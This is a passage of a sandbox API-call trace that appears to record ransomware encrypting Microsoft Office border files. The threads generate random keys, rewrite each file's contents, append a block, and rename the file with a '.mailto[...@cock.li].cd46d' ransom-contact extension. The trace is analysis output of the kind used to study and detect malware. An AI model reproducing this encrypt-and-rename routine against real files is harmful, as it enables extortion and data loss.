Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x71c04959 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x1eebfd87 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x772b6b9a [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x78b55ed9 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x78da20dd [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0xa9b029 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x50bc9171 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x420143d3 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x57400a29 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x28268204 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x20a3d924 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x74119ce1 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0xfd80713 [0063.630] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x7e1736a1 [0063.630] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x26ba0d90 [0063.630] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x76e1f5b [0063.630] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x7406b1bc [0063.630] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x62cf806b [0063.630] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x60905293 [0063.630] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x456130ea [0063.630] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x17626c79 [0063.630] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x78b5c1ac [0063.630] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x5442efef [0063.648] ReadFile (in: hFile=0xeb8, lpBuffer=0x19998910, nNumberOfBytesToRead=0xb854, lpNumberOfBytesRead=0x496fc3c, lpOverlapped=0x0 | out: lpBuffer=0x19998910*, lpNumberOfBytesRead=0x496fc3c*=0xb854, lpOverlapped=0x0) returned 1 [0063.650] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.650] WriteFile (in: hFile=0xeb8, lpBuffer=0x12cae128*, nNumberOfBytesToWrite=0xb854, lpNumberOfBytesWritten=0x496fc38, lpOverlapped=0x0 | out: lpBuffer=0x12cae128*, lpNumberOfBytesWritten=0x496fc38*=0xb854, lpOverlapped=0x0) returned 1 [0066.712] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed908 [0066.712] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed8b8 [0066.712] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8b8) returned 1 [0066.712] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cae128) returned 1 [0066.864] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19998910) returned 1 [0066.864] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45878) returned 1 [0066.864] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a80) returned 1 [0066.864] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x4e04b0 [0066.864] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.864] WriteFile (hFile=0xeb8, lpBuffer=0x12e2ba00, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x496fca0, lpOverlapped=0x0) Thread: id = 1115 os_tid = 0xd2c [0059.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr")) returned 0x20 [0063.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR", dwFileAttributes=0x20) returned 1 [0063.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbcc [0063.652] GetFileSizeEx (in: hFile=0xbcc, lpFileSize=0x695fbdc | out: lpFileSize=0x695fbdc*=57646) returned 1 [0063.652] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0xe12a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.652] ReadFile (in: hFile=0xbcc, lpBuffer=0x695fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x695fb5c, lpOverlapped=0x0 | out: lpBuffer=0x695fb60*, lpNumberOfBytesRead=0x695fb5c*=0x4, lpOverlapped=0x0) returned 1 [0063.654] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.654] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d053e0 [0063.654] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05390 [0063.654] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05138 [0063.654] NtQuerySystemTime (in: CurrentTime=0x695fb3c | out: CurrentTime=0x695fb3c*=132174898276404000) returned 0x0 [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x655f03fc [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x22ace326 [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x69945eb5 [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0xe9e8c62 [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x288228e0 [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x4b326d0e [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x1d80b678 [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x1c5f08ab [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x7e68bb4b [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x23902461 [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x63b9f1b [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x4f91ec68 [0063.654] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x7d11dd3d [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x6b3b43b9 [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x4504fe46 [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x547a17e1 [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x67323d73 [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x532e8d74 [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x6d1c7db7 [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x447be34f [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0xd68f830 [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x1aa1905e [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x7458dba [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x5f51b7fd [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x7c432d04 [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0xfcecfdd [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x5787807b [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x6b54f61c [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x204ffe03 [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x3dde836e [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x30e5b32 [0063.655] RtlRandomEx (in: Seed=0x695fb48 | out: Seed=0x695fb48) returned 0x139156fb [0063.666] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.666] ReadFile (in: hFile=0xbcc, lpBuffer=0x12cba930, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x695fb1c, lpOverlapped=0x0 | out: lpBuffer=0x12cba930*, lpNumberOfBytesRead=0x695fb1c*=0xc800, lpOverlapped=0x0) returned 1 [0063.667] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402960 [0063.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45a58 [0063.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d053e0 [0063.668] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d053e0) returned 1 [0063.669] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x4bafd8 [0063.673] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d053e0 [0063.673] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05138 [0063.673] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05138) returned 1 [0063.673] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45a58) returned 1 [0063.673] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402960) returned 1 [0063.673] WriteFile (in: hFile=0xbcc, lpBuffer=0x4bafd8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x695fb1c, lpOverlapped=0x0 | out: lpBuffer=0x4bafd8*, lpNumberOfBytesWritten=0x695fb1c*=0xc800, lpOverlapped=0x0) returned 1 [0063.687] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4bafd8) returned 1 [0063.687] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cba930) returned 1 [0063.687] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cee70 [0063.687] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.687] WriteFile (in: hFile=0xbcc, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x695fb9c, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x695fb9c*=0x105, lpOverlapped=0x0) returned 1 [0063.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0063.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0063.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05138) returned 1 [0063.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0063.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d053e0) returned 1 [0063.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05390) returned 1 [0063.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05368) returned 1 [0063.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05340) returned 1 [0063.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00470 [0063.689] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" [0063.689] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.mailto[2Hamlampampom@cock.li].cd46d" [0063.689] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x695fb54, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x12cf96e0 [0063.698] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0063.698] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f6898) returned 1 [0063.698] NtQueryInformationFile (in: FileHandle=0xbcc, IoStatusBlock=0x695fb60, FileInformation=0x695fb38, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x695fb60, FileInformation=0x695fb38) returned 0x0 [0063.698] NtSetInformationFile (FileHandle=0xbcc, IoStatusBlock=0x695fb60, FileInformation=0x695fb38, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.700] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0063.700] FlushFileBuffers (hFile=0xbcc) returned 1 [0066.227] CloseHandle (hObject=0xbcc) Thread: id = 1116 os_tid = 0xd34 [0059.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr")) returned 0x20 [0063.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR", dwFileAttributes=0x20) returned 1 [0063.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xafc [0063.674] GetFileSizeEx (in: hFile=0xafc, lpFileSize=0x720fbd8 | out: lpFileSize=0x720fbd8*=14594) returned 1 [0063.674] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x38fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.674] ReadFile (in: hFile=0xafc, lpBuffer=0x720fb5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x720fb58, lpOverlapped=0x0 | out: lpBuffer=0x720fb5c*, lpNumberOfBytesRead=0x720fb58*=0x4, lpOverlapped=0x0) returned 1 [0063.701] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05340 [0063.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05368 [0063.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05390 [0063.702] NtQuerySystemTime (in: CurrentTime=0x720fb38 | out: CurrentTime=0x720fb38*=132174898276872000) returned 0x0 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x592000dd [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x1fc03a78 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x6d94484f [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x25a61ece [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x327dc8de [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x328042b1 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x552cc1df [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x35241b [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x4aac93bc [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x3e7133c8 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x477ea085 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x798bfd6c [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x2582b6d [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x154bd29b [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x26eb7b50 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x35da3160 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x338619b [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x1f2a8f46 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x55707cf3 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x2d4adb76 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x58a9d929 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x7d1c08ae [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x1cb275ed [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x2bd20a72 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x1a3cd2c9 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x7d11ea51 [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x4f5ed5de [0063.702] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x7796f9f5 [0063.703] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x413c48d0 [0063.703] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x1d413e0c [0063.703] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x1a5aeabe [0063.703] RtlRandomEx (in: Seed=0x720fb44 | out: Seed=0x720fb44) returned 0x1fc7e21b [0063.713] ReadFile (in: hFile=0xafc, lpBuffer=0x12cba930, nNumberOfBytesToRead=0x3902, lpNumberOfBytesRead=0x720fb34, lpOverlapped=0x0 | out: lpBuffer=0x12cba930*, lpNumberOfBytesRead=0x720fb34*=0x3902, lpOverlapped=0x0) returned 1 [0063.715] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.715] WriteFile (in: hFile=0xafc, lpBuffer=0x4bafd8*, nNumberOfBytesToWrite=0x3902, lpNumberOfBytesWritten=0x720fb30, lpOverlapped=0x0 | out: lpBuffer=0x4bafd8*, lpNumberOfBytesWritten=0x720fb30*=0x3902, lpOverlapped=0x0) returned 1 [0063.717] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05340 [0063.717] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05390 [0063.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05390) returned 1 [0063.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4bafd8) returned 1 [0063.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cba930) returned 1 [0063.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45a58) returned 1 [0063.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402960) returned 1 [0063.717] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cee70 [0063.717] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.717] WriteFile (in: hFile=0xafc, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x720fb98, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x720fb98*=0x105, lpOverlapped=0x0) returned 1 [0063.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0063.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0063.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05390) returned 1 [0063.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0063.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05340) returned 1 [0063.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05368) returned 1 [0063.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d053e0) returned 1 [0063.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05138) returned 1 [0063.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00470 [0063.718] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" [0063.719] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.mailto[2Hamlampampom@cock.li].cd46d" [0063.719] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x720fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.719] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x12cf96e0 [0063.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0063.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed39c8) returned 1 [0063.720] NtQueryInformationFile (in: FileHandle=0xafc, IoStatusBlock=0x720fb5c, FileInformation=0x720fb34, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x720fb5c, FileInformation=0x720fb34) returned 0x0 [0063.720] NtSetInformationFile (FileHandle=0xafc, IoStatusBlock=0x720fb5c, FileInformation=0x720fb34, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.721] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0063.721] FlushFileBuffers (hFile=0xafc) returned 1 [0066.227] CloseHandle (hObject=0xafc) Thread: id = 1117 os_tid = 0xd40 [0059.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr")) returned 0x20 [0063.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR", dwFileAttributes=0x20) returned 1 [0063.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb94 [0063.722] GetFileSizeEx (in: hFile=0xb94, lpFileSize=0x5a3f964 | out: lpFileSize=0x5a3f964*=15788) returned 1 [0063.722] SetFilePointerEx (in: hFile=0xb94, liDistanceToMove=0x3da8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.722] ReadFile (in: hFile=0xb94, lpBuffer=0x5a3f8e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5a3f8e4, lpOverlapped=0x0 | out: lpBuffer=0x5a3f8e8*, lpNumberOfBytesRead=0x5a3f8e4*=0x4, lpOverlapped=0x0) returned 1 [0063.727] SetFilePointerEx (in: hFile=0xb94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.727] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05138 [0063.727] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d053e0 [0063.727] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05368 [0063.727] NtQuerySystemTime (in: CurrentTime=0x5a3f8c4 | out: CurrentTime=0x5a3f8c4*=132174898277028000) returned 0x0 [0063.727] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x7f2b1dd2 [0063.727] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x34bd8600 [0063.727] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x184f101b [0063.727] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x582ab843 [0063.727] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x4c811c91 [0063.727] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x38fa2e78 [0063.727] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x788ae8ec [0063.727] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 0x6fc08eb4 [0063.727] RtlRandomEx (in: Seed=0x5a3f8d0 | out: Seed=0x5a3f8d0) returned 